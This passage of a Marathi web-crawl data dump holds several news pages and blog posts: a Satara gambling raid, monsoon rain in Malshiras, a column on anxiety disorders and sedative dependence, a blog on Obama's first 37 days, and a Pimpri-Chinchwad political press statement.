प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Gambling-action-taken-cyber-crime-pen-in-satara/", "date_download": "2018-09-25T16:54:46Z", "digest": "sha1:4QMFV5NQ2F4XX3SOBW44S5SBXDWW5F27", "length": 9546, "nlines": 38, "source_domain": "www.pudhari.news", "title": " जुगार कारवाईत ‘सायबर क्राईम’चे कलम | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › जुगार कारवाईत ‘सायबर क्राईम’चे कलम\nजुगार कारवाईत ‘सायबर क्राईम’चे कलम\nसातारा शहर परिसरात पोलिसांनी बुधवारी रात्री दोन ठिकाणी जुगार अड्ड्यांवर छापा टाकून कारवाई करत अटक केलेल्या 34 जणांमध्ये तडीपार केलेले दोघे जण सापडले असून पोलिसांनी या प्रकरणात सायबर अ‍ॅक्टचे कलमही ठोकल्याने अ‍ॅडव्हान्स जुगाराचा बुरखाच फाटला आहे. दरम्यान, पोलिस उपअधीक्षक गजानन राजमाने यांच्या पथकाने 15 दिवसांमध्ये दुसरी मोठी कारवाई केल्याने अवैध धंदेवाल्यांचे धाबे दणाणले आहेत.अनिकेत चोरगे, पापा गवळी, दीपक पवार, राजेश कोळेकर, सचिन सुपेकर, उदय आमणे, भानुदास देशमुख, रवि विचारे, अक्षय क्षीरसागर, सागर बोभाटे, प्रताप सकटे, भगवान गायकवाड या संशयितांना राजवाडा बसस्टॉप परिसरात असलेल्या आडोशास जुगार खेळताना पकडले आहे. तसेच प्रभाकर मिश्रा, वसीम शेख, दिलीपकुमार नाफड, राहुल पंडित, रामदास पंडित, शितेज साठे, संतोष जगताप, नजीद पटवेकर, सागर महामुनी, समीर पठाण, राजेश कदम, मोहसिन पटवेकर, भरत वाघमारे, जयेश भाटकर, सौरभ जाधव, मुक्‍तार शेख, किरण माने, विजय कांबळे, चंद्रमणी आगाणे, नारायण गायकवाड, दादा भिंताडे, संतोष साळुंखे या संशयितांना सैदापूर येथील कच्छी याच्या घरात जुगार खेळत असताना पकडले आहे.\nराजवाडा परिसरात केलेल्या कारवाईतून पोलिसांनी 41 हजार 285 रुपये रोख, मोबाईल व इतर साहित्य जप्‍त केले आहे. सैदापूर येथून पोलिसांनी रोख 1 लाख 4337 रुपये, जुगाराचे साहित्य, मोबाईल, वॉटरप्युरीफायर मशिन जप्‍त केले आहे. अशाप्रकारे दोन कारवाईतून रोख 1 लाख 45 हजार रुपये जप्‍त करण्यात आले आहेत. विशेष म्हणजे पोलिस उपअधीक्षक गजानन राजमाने यांनी यातील एका गुन्ह्याला सायबर अ‍ॅक्टचेही कलम लावल्याने ही दुर्मिळ कारवाई मानली जात आहे. जुगार खेळण्यासाठी चिठ्ठीऐवजी अलीकडे मोबाईलचाही सर्रास वापर होत आहे. जुगारासाठी मोबाईलचा वापर केला जात असल्याने त्याला सायबर अ‍ॅक्ट लावण्यात आला आहे.\nदरम्यान, जुगार अड्ड्यांवर सापडलेल्या नावांची माहिती घेतल्यानंतर त्यामध्ये काहीजण तडीपारीत असल्याचेही समोर आले. पोलिसांनी त्याबाबत खातरजमा केली असता प्रभाकर बलदेव मिश्रा (रा.एमआयडीसी) व वसीम इब्राहिम शेख (रा.रविवार पेठ) हे दोघे तडीपार असल्याचे समोर आले आहे.दरम्यान, पोलिस उपअधीक्षक गजानन राजमाने, पोनि प्रदीप जाधव यांच्या मार्गदर्शनाखाली फौजदार चव्हाण, पोलिस हवालदार राजू मुलाणी, सुजीत भोसले, वंजारी, सीमा भुजबळ यांनी कारवाईत सहभाग घेतला.\nप्रिय ग्राहक.. चिठ्ठीशिवाय नो पेमेंट..\nसातारा पोलिसांनी बुधवारी रात्री दोन्ही ठिकाणांच्या जुगार अड्ड्यांवर छापे टाकल्यानंतर त्यातील जुगारबाज पळून जाण्याचा प्रयत्न करत होते. मात्र, पोलिसांनी पद्धतशीर त्यांची नाकाबंदी केली. पोलिसांनी घटनास्थळाचा पंचनामा करताना दोन नंबरच्या या धंद्यावरील सूचनांचे फलक लक्ष वेधून घेत होते. हाताने लिहिलेल्या सुमारे 5 ते 6 वेगवेगळ्या सूचना या ठिकाणी दिसत होत्या. एका सूचना तर चक्‍क अशी होती ः‘प्रिय ग्राहकांना विनंती. कृपया चिठ्ठी चेक करून घेणे, नंतर तक्रार चालणार नाही.’ दुसरी सूचनाही लक्षवेधी होती, ‘पाच रुपयांपासून दोन हजार रुपयांच्या नोटावर गुलाल, हळद यांचा रंग लागलेला असेल तर अशा नोटा स्वीकारणार नाही, याची नोंद घ्यावी.’ वास्तविक यातील बहुतेक जुगार घरातून असे पैसे चोरून आणून ‘डाव’ मांडत असल्याचे यावरून स्पष्ट होत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/rain-on-first-day-of-mansoon/", "date_download": "2018-09-25T16:52:42Z", "digest": "sha1:PXA57GE73YR5WIRBZIN3AOSIQPRUEAPR", "length": 3625, "nlines": 35, "source_domain": "www.pudhari.news", "title": " मोसमातील पहिल्याच दिवशी पावसाची हजेरी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › मोसमातील पहिल्याच दिवशी पावसाची हजेरी\nमोसमातील पहिल्याच दिवशी पावसाची हजेरी\nबोंडले : विजयकुमार देशमुख\nयंदाच्या पावसाळी मोसमाच्या पहिल्याच दिवशी म्हणजे १ जुन रोजी माळशिरस तालुक्यात रोहिणी नक्षत्रामध्ये पावसाने हजेरी लावली. आज सकाळी ५.३५ वाजता माळशिरस तालुक्यातील पुर्व भागात मेघगर्जनेसह पावसाला सुरुवात झाली आहे.\nमाळशिरस तालुक्याच्या पुर्व भागात बोंडले, तोंडले, दसुर, खळवे, जांबुड, माळखांबी, विठ्ठलवाड, उघडेवाडी, वेळापुर या भागात रात्री ३ नंतर मेघगर्जना झाली. यानंतर आलेल्या पावसामुळे बळीराजा सुखावला आहे. तसेच वातावरणामध्ये गारवा निर्माण झाल्यामुळे पिकांनाही याचा फायदा होणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.loksatta.com/lokarogya-news/disadvantages-of-worries-1656166/", "date_download": "2018-09-25T17:12:57Z", "digest": "sha1:DZYGIHQXT5KVPW5TYSEU3ULHZUCV2ZES", "length": 20805, "nlines": 216, "source_domain": "www.loksatta.com", "title": "disadvantages of worries | मन:शांती : ‘चिंते’ची चिंता नसावी! | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nमन:शांती : ‘चिंते’ची चिंता नसावी\nमन:शांती : ‘चिंते’ची चिंता नसावी\nचिंतेच्या विकाराची स्थिती किंवा बळी पडलेल्यांची संख्या ही नक्कीच चिंताजनक आहे.\n१९१७ साली राम गणेश गडकरींनी एक कविता लिहिली होती, ‘चिंतातुर जंतू’\n‘निजले जग, का आता इतक्या तारा खिळल्या गगनाला\nकाय म्हणावे त्या देवाला वर जाउनी म्हण जा त्याला॥\nतेज रविचे फुकट सांडते उजाड माळावर उघडय़ा\nउधळणुक ती बघवत नाही-डोळे फोडुनी घेच गडय़ा॥\nअशी विनाकारण छोटय़ा छोटय़ा गोष्टींची चिंतेचे किडे वळवळणाऱ्या लोकांविषयी केलेली ही कविता खरोखरच असे लोक आजही आपण बघतो. त्यातील काही जणांना कळत असते की आपण उगाचच चिंता करतोय पण त्यावर त्यांचे नियंत्रणच उरलेले नसते खरोखरच असे लोक आजही आपण बघतो. त्यातील काही जणांना कळत असते की आपण उगाचच चिंता करतोय पण त्यावर त्यांचे नियंत्रणच उरलेले नसते चिंतेचा मंत्रचळ अशी त्यांची स्थिती झालेली असते.\n‘मन चिंती ते वैरी न चिंती’ असे म्हणतात. ‘तसेच चितेपेक्षा चिंता जास्त जाळते’, असेही म्हणतात. म्हणजेच चिंता आली की विचारांची गाडी सकारात्मकतेचा मार्ग सोडून भलत्याच नकारात्मक रुळांवरून धावू लागते. त्यातून भयंगड वाढीला लागतो. हाताला कंप सुटणे, घामाघूम होणे, तोंड कोरडे पडणे, छातीची धडधड वाढणे, चक्कर आल्यासारखे वाटणे तसेच काहीच न सुचणे, गोंधळ होणे, विसरणे, ब्लँक होणे, चिडचिड अशी लक्षणे दिसतात. त्याच्यामुळे चिंता अधिकच वाढते.\nचिंतेच्या विकाराची स्थिती किंवा बळी पडलेल्यांची संख्या ही नक्कीच चिंताजनक आहे. भारतात सुमारे २०-२२ टक्के कुमारवयीन मुलांमध्ये चिंतेचे विकार दिसून येतात. ग्रामीण भारतातही हे प्रमाण वाढत चालल्याचे संशोधन सांगते. म्हणून चिंतेच्या विकारांचा स्वीकार करून उपचार लवकर, नियमित व व्यवस्थित घेण्याची गरज आहे.\nपरवा माझ्याकडे एक रुग्ण आला होता. गेल्या काही महिन्यांपासून तो चिंतेच्या विकारासाठी माझ्याकडून औषधोपचार घेत होता पण म्हणावा तसा फरक येत नव्हता. तेव्हा मी त्याला विचारले की दारू घेता का किंवा चालू केली आहे का त्याने मान्य केले की तो दारू घेतो थोडी थोडी. मित्राने सांगितले की थोडी घे म्हणजे लवकर बरा होशील. पण तसे न होता उलट चिंतेचा विकार बराच होत नाही, अशी स्थिती निर्माण झाली होती. दारूमुळे चिंता तात्पुरती मागे पडत होती आणि पुन्हा उसळून वर येत होती\nजेव्हा चिंतेच्या विकारासाठी उपचारांची गरज निर्माण झाली तेव्हा ८००० वर्षांपूर्वी दारूला औषध म्हणूनच वापरले गेले. बायबलचा आधार त्यासाठी सांगितला गेला. पण १८ व्या शतकापर्यंत दारूचा व्यसनाकडे जाणारा दुष्परिणाम प्रकर्षांने लक्षात आला आणि मग ‘अधिकृत’ वापर कमी झाला. अफुचेही तसेच झाले. मग ब्रोमाईड्स, क्लोरल लायट्रेट, बार्बीब्युरेट्स वगैरे औषधांचा वापर करून पाहिला गेला पण पुन्हा गैरवापर आणि व्यसनांकडे जाणारा कल याही औषधांमध्ये दिसून आला.\nस्टर्नबारव्र नावाच्या शास्त्रज्ञाने न्यू जर्सीमधल्या प्रयोगशाळेत १९५७ ला एक औषधी द्रव्य तयार केले. त्याचा झोपेसाठी, चिंतानाशक तसेच स्नायू शिथिलीकरणासाठी चांगला उपयोग होईल, असे गुणधर्म आढळून आले. त्याचीच प्रगत आवृत्ती म्हणून १९६० क्लोरडायडिपॉक्झ्साईड हे बेंझोडायझेपाईन गटातले पहिले औषध वापरले जाऊ लागले. त्यानंतर १९६३ मध्ये डायझेपाम आले. आता या गटातील वीसहून अधिक औषधे उपलब्ध आहेत. त्यानंतर झोपीक्लॉन, झोल्पीडेम अशी वेगळ्या गटातील औषधे आली. पण या सर्व औषधांचा धर्म असा आहे की ती लगेच कार्य सुरू करतात. प्रभावी असतात पण दोन-तीन महिन्यांपेक्षा जास्त काळ घेतली तर सवय लागते व या औषधांचे व्यसनही लागू शकते. मध्यंतरी माझ्याकडे एक रुग्ण आला होता. त्याला वीस वर्षांपूर्वी फॅमिली डॉक्टरांनी अल्प्रॅझोलाम हे औषध दिले होते. त्याचे व्यसन जडून तो दिवसाला ३० गोळ्या घेत होता, नाही घेतल्या तर फीट्स येत असत. तर दुसऱ्या एका रुग्णाबाबत या औषधाची एकच गोळी सुरू होती. मात्र ती नाही घेतली की इतकी अस्वस्थता येईल की मूळचा विकार परवडला अनेक रुग्णांमध्ये ही औषधे जनरल फिजिशियन देतात, देत राहतात किंवा त्यांनी नाही दिली तर रुग्ण औषधविक्रेत्यांकडून घेत राहतात. म्हणूनही व्यसन जडते अनेक रुग्णांमध्ये ही औषधे जनरल फिजिशियन देतात, देत राहतात किंवा त्यांनी नाही दिली तर रुग्ण औषधविक्रेत्यांकडून घेत राहतात. म्हणूनही व्यसन जडते ही नक्कीच गंभीर बाब आहे.\nचिंतेच्या विकारावर आज इतरही अशी सवय/व्यसन न लागणारी इतर औषधे आहेत. बस्पिरोन, फ्लुऑक्सामाईन, पॅरोक्सेटीन, प्रोपॅनोलॉल, इटीझोलाम क्लोबाझाम, टोफीसोपाम ही नवीन औषधे आहेत. पण शेवटी औषधांवर मानसिकदृष्टय़ा अवलंबून राहण्याची रुग्णांची वृत्ती असेल, कशाचा तरी कायम आधार घेण्याचा स्वभाव असेल तर अशा व्यक्तींना कोणत्याही औषधांचे व्यसन जडू शकते म्हणूनच बेंझोडायझेपिन गटातील औषधांचा वापर हा सुरुवातीच्या काळात करून लगेच कमी करून बंद केला तर सवय लागण्याचे टळते. तसेच त्यांच्याबरोबर वरील नवीन औषधे योग्य प्रमाणात वापरली तर चिंतेचे काही विकार लवकर बरे होऊ शकतात. त्यासाठी रुग्णांनी नियमित व डॉक्टरांच्या सल्लय़ानेच औषधे घेणे गरजेचे आहे. फिजिशियननी पण हा चिंतेचाच प्रकार आहे हे कळल्यावर लवकर मनोविकारतज्ज्ञांकडे उपचार सोपवणे गरजेचे आहे. तसेच रुग्णांना चिठ्ठीशिवाय औषधे देणे औषधविक्रेत्यांनी टाळले तर बरीचशी व्यसने टळू शकतील.\nचिंता ही सर्व मनोविकारांचा पाया आहे. लवकर व नियमित उपाय केले तर लवकर बरे होता येते आणि औषधोपचारांबरोबरच समुपदेशनाचे विविध उपाय यांचा संयुक्त वापर हा शाश्वत निरामयता देऊ शकतो हे नक्की\nजेव्हा चिंतेच्या विकारासाठी उपचारांची गरज निर्माण झाली तेव्हा ८००० वर्षांपूर्वी दारूला औषध म्हणूनच वापरले गेले. बायबलचा आधार त्यासाठी सांगितला गेला. पण १८ व्या शतकापर्यंत दारूचा व्यसनाकडे जाणारा दुष्परिणाम प्रकर्षांने लक्षात आला आणि मग ‘अधिकृत’ वापर कमी झाला. अफुचेही तसेच झाले. मग ब्रोमाईड्स, क्लोरल लायट्रेट, बार्बीब्युरेट्स वगैरे औषधांचा वापर करून पाहिला गेला पण पुन्हा गैरवापर आणि व्यसनांकडे जाणारा कल याही औषधांमध्ये दिसून आला.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00195.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/02/blog-post_26.html", "date_download": "2018-09-25T17:47:53Z", "digest": "sha1:KPRUZIE3PWB3AZNTZ5FPVPOUDLQ6LKTG", "length": 8745, "nlines": 58, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: ओबामा - ३७ दिवसांचा आढावा", "raw_content": "\nओबामा - ३७ दिवसांचा आढावा\nकाल ओबामाचे ३७ दिवस पूर्ण झाले अध्यक्ष होउन या ३७ दिवसात इकडे अमेरिकेत अर्थव्यवस्था अधिकाधिक गंभीर होत चालली आहे या ३७ दिवसात इकडे अमेरिकेत अर्थव्यवस्था अधिकाधिक गंभीर होत चालली आहे आता तर इथल्या ९९% बँका दिवाळखोर झाल्या आहेत आता तर इथल्या ९९% बँका दिवाळखोर झाल्या आहेत त्यांच्या आर्थिक ताळेबंदाकडे पाहता त्यांच्याकडे बरीच बुडीत कर्जे आहेत आणि बरीच मालमत्तेची किम्मत घसरली आहे असे दिसते आहे त्यांच्या आर्थिक ताळेबंदाकडे पाहता त्यांच्याकडे बरीच बुडीत कर्जे आहेत आणि बरीच मालमत्तेची किम्मत घसरली आहे असे दिसते आहे असो ... तर त्यामुळे ओबामा सरकारचा इकडे अगदी कस लागणार आहे यात काही संशय नाही\nओबामाची विचारसरणी निःसंशय समाजवादी आहे त्यामुळे सरकारी खर्च वाढेल त्यामुळे सरकारी खर्च वाढेल कल्याणकारी योजना वाढतिल भारताच्या दृष्टीने प्रतिकूल म्हणजे ... जागतिकिकरणावर सुद्धा बंधने येतील H1B वर बंधने येतील...\nयात लक्षात ठेवण्यासारखे हे आहे की ओबामा हां काही भारताचा नेता नाही आहे तो अमेरिकेचा ज्यात फायदा आहे तेच करणार तो अमेरिकेचा ज्यात फायदा आहे तेच करणार त्याची काही काही वक्तव्ये ही भारताच्या दृष्टीने घातक आहेत त्याची काही काही वक्तव्ये ही भारताच्या दृष्टीने घातक आहेत उदाहरणार्थ काश्मीर बाबत ओबामा ची हस्तक्षेप करण्याची वृत्ति दिसते उदाहरणार्थ काश्मीर बाबत ओबामा ची हस्तक्षेप करण्याची वृत्ति दिसते भारताने सावध राहिले पाहिजे\n परन्तु काल ओबामाचे सीनेट आणि कांग्रेस समोर संयुक्त भाषण झाले सेनेट म्हणजे आपल्याकडची लोकसभा आणि कांग्रेस म्हणजे राज्यसभाच जणू सेनेट म्हणजे आपल्याकडची लोकसभा आणि कांग्रेस म्हणजे राज्यसभाच जणू फरक इतकाच की यांची कांग्रेस भारताच्या राज्यसभेसारखी शक्तिहीन नाही फरक इतकाच की यांची कांग्रेस भारताच्या राज्यसभेसारखी शक्तिहीन नाही अमेरिकन सरकारचे सर्व खर्च कांग्रेस मंजूर करते ... त्यामुळे त्यांचाकडे बरीच राजकीय ताकत आहे अमेरिकन सरकारचे सर्व खर्च कांग्रेस मंजूर करते ... त्यामुळे त्यांचाकडे बरीच राजकीय ताकत आहे तर कालच्या भाषणाच्या आशायापेक्षा मला सांगण्यासारखे विशेष हे वाटते की सभागृहातील सभ्यता आणि आदर जो इथे जपला जातो त्याचे खरेच कौतुक वाटते तर कालच्या भाषणाच्या आशायापेक्षा मला सांगण्यासारखे विशेष हे वाटते की सभागृहातील सभ्यता आणि आदर जो इथे जपला जातो त्याचे खरेच कौतुक वाटते अमेरिका ही खरोखरच जगातील सर्वश्रेष्ठ लोकशाही आहे अमेरिका ही खरोखरच जगातील सर्वश्रेष्ठ लोकशाही आहे तिच्यात दोष आहेत परन्तु सर्व जगात इथले सरकार नक्कीच जास्त कल्याणकारी आहे\nओबामांच्या भाषणाच्या आधी सर्व सदस्य स्थानापन्न झाले होते ओबामांच्या आगमनाच्या आधी सर्वोच्च न्यायालयाचे सर्व न्यायाधीश येउन पुढच्या बाकांवर बसले ओबामांच्या आगमनाच्या आधी सर्वोच्च न्यायालयाचे सर्व न्यायाधीश येउन पुढच्या बाकांवर बसले त्यावेळी सुद्धा टाळ्यांच्या गजरात त्या सर्वांचे स्वागत झाले त्यावेळी सुद्धा टाळ्यांच्या गजरात त्या सर्वांचे स्वागत झाले बरेच सदस्य ओबामांचे स्वागत करता येइल अशी बाके पकडण्यासाठि १-२ तास आधीच आले होते बरेच सदस्य ओबामांचे स्वागत करता येइल अशी बाके पकडण्यासाठि १-२ तास आधीच आले होते सर्वात शेवटी ओबामा आणि त्यांचे ३७ कैबिनेट मंत्री (सेक्रेटरी) यांचे आगमन झाले सर्वात शेवटी ओबामा आणि त्यांचे ३७ कैबिनेट मंत्री (सेक्रेटरी) यांचे आगमन झाले त्यावेळी त्यांचे जे स्वागत झाले ते बघण्यासारखे होते त्यावेळी त्यांचे जे स्वागत झाले ते बघण्यासारखे होते विरोधी पक्षाचे अगदी बुजुर्ग सदस्य सुद्धा उभे राहून टाळ्या वाजवून स्वागत करते झाले विरोधी पक्षाचे अगदी बुजुर्ग सदस्य सुद्धा उभे राहून टाळ्या वाजवून स्वागत करते झाले सभागृहाच्या दरवाज्यापासून ते मंचावर जायला ओबामांना १० मिनिटे लागली ... तरीही टाळ्यान्चा गजर चालूच होता सभागृहाच्या दरवाज्यापासून ते मंचावर जायला ओबामांना १० मिनिटे लागली ... तरीही टाळ्यान्चा गजर चालूच होता पुढे भाषण करतानाही बर्याचदा विरोधी पक्षान्निही मनापासून दाद दिली पुढे भाषण करतानाही बर्याचदा विरोधी पक्षान्निही मनापासून दाद दिली इथल्या राजकारणातील ही जी परिपक्वता आणि सभ्यता आहे त्याला तोड़ नाही इथल्या राजकारणातील ही जी परिपक्वता आणि सभ्यता आहे त्याला तोड़ नाही राजकारणासाठी राजकारण सहसा केले जात नाही .... आणि जनाताही खपवून घेत नाही राजकारणासाठी राजकारण सहसा केले जात नाही .... आणि जनाताही खपवून घेत नाही मला १९९९ च्या सुमारास आपल्याकडे झालेली लोकसभेतील मारामारी आठवली मला १९९९ च्या सुमारास आपल्याकडे झालेली लोकसभेतील मारामारी आठवली आणि शरम आणि संताप दोन्ही भावना मनात उठल्या आणि शरम आणि संताप दोन्ही भावना मनात उठल्या आपल्याकडे - त्यातल्या त्यात महाराष्ट्रातच थोडी तरी सुसंस्कृतता राहिली आहे आपल्याकडे - त्यातल्या त्यात महाराष्ट्रातच थोडी तरी सुसंस्कृतता राहिली आहे बाकी राज्यांमध्ये आणि विशेषतः बिहार, यु पी, इत्यादि ठिकाणी अगदीच वाईट परिस्थिति आहे बाकी राज्यांमध्ये आणि विशेषतः बिहार, यु पी, इत्यादि ठिकाणी अगदीच वाईट परिस्थिति आहे मला वाटते की जनता जसजशी जास्त जागरुक होते आणि जसजशी समाजात समानता आणि उद्यमशीलता येते तसतसे राजकारणी लोकांना सुद्धा सुधारावेसे वाटेल मला वाटते की जनता जसजशी जास्त जागरुक होते आणि जसजशी समाजात समानता आणि उद्यमशीलता येते तसतसे राजकारणी लोकांना सुद्धा सुधारावेसे वाटेल यथा प्रजा तथा राजा \nअसो ... तर भारतातील राजकारणही असेच सुसंस्कृत आणि लोककल्याणकारी व्हावे अशी मनापासून इच्छा\nओबामा - ३७ दिवसांचा आढावा\nपाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00196.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AD%E0%A4%BE%E0%A4%9C%E0%A4%AA%E0%A4%BE%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%96%E0%A4%BE%E0%A4%B8%E0%A4%A6%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%A8%E0%A5%80%E0%A4%9A-%E0%A4%AE%E0%A5%8B/", "date_download": "2018-09-25T17:57:11Z", "digest": "sha1:AY33AR2MVWDAODATIBK3ID5D6BFIN7NZ", "length": 8701, "nlines": 71, "source_domain": "pclive7.com", "title": "भाजपाच्या खासदारांनीच मोदी, शहांना खोटे ठरविले – सचिन साठे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड भाजपाच्या खासदारांनीच मोदी, शहांना खोटे ठरविले – सचिन साठे\nभाजपाच्या खासदारांनीच मोदी, शहांना खोटे ठरविले – सचिन साठे\nपिंपरी (Pclive7.com):- मागील लोकसभा निवडणूकीपुर्वी पंतप्रधान नरेंद्र मोदींनी दिलेली आश्वासने देशातील नागरीक अद्याप विसरले नाहीत. त्यांच्या पक्षाच्या खासदारांना विसर पडला असला तरी भाजपची सर्व आश्वासने जनतेच्या लक्षात आहेत. शनिवारी पिंपरीत खासदार अमर साबळे यांनी ‘मोदींनी प्रत्येक नागरीकांच्या खात्यात १५ लाख देऊ असे आश्वासन दिले नव्हते’ असे वक्तव्य करुन मोदी अन् शहा यांनाच खोटे ठरविले असल्याचा आरोप पिंपरी चिंचवड काँग्रेस शहराध्यक्ष सचिन साठे यांनी केला आहे.\nयाबाबत साठे यांनी दिलेल्या प्रसिध्दीपत्रकात म्हटलयं की, पंतप्रधान मोदींचे १५ लाखांबाबतचे आश्वासन व्हिडीओसह सोशल मिडीयात अद्यापही उपलब्ध आहे. लोकसभा निवडणूकीनंतर भाजपा सरकारने चार वर्षात एकही आश्वासन पुर्ण केलेले नाही. त्यामुळे पत्रकारांनी साबळे यांच्यावर प्रश्नांचा भडीमार करीत भाजपाच्या जाहीरनाम्यातील आश्वासनांबाबत प्रश्न विचारले. भाजपाचे राष्ट्रीय अध्यक्ष अमित शहा मोदींच्या आश्वासनांबाबत प्रश्न विचारल्यावर तो ‘चुनावी जूमला’ होता असे उत्तर देतात. तर पिंपरीत त्यांचेच खासदार अमर साबळे हे मोदींसह शहांना देखील खोटे ठरवत दिशाभूल करणारे उत्तर देतात. असे साबळे यांच्या कालच्या वक्तव्यातून दिसते.\nकेंद्रातील भाजपाचे हे सरकार त्यांचा कालावधी पूर्ण होईपर्यंत जाहिरनाम्यातील एकही आश्वासन पूर्ण करणार नाही. उलट पत्रकारांना व जनतेलाच खोटे ठरवतील. मोदींची प्रतिमा जगभर ‘फसवा पंतप्रधान’ म्हणून तयार झाली असताना त्यांच्या पक्षाचे राष्ट्रीय अध्यक्ष आणि खासदार अशी वक्तव्य करुन 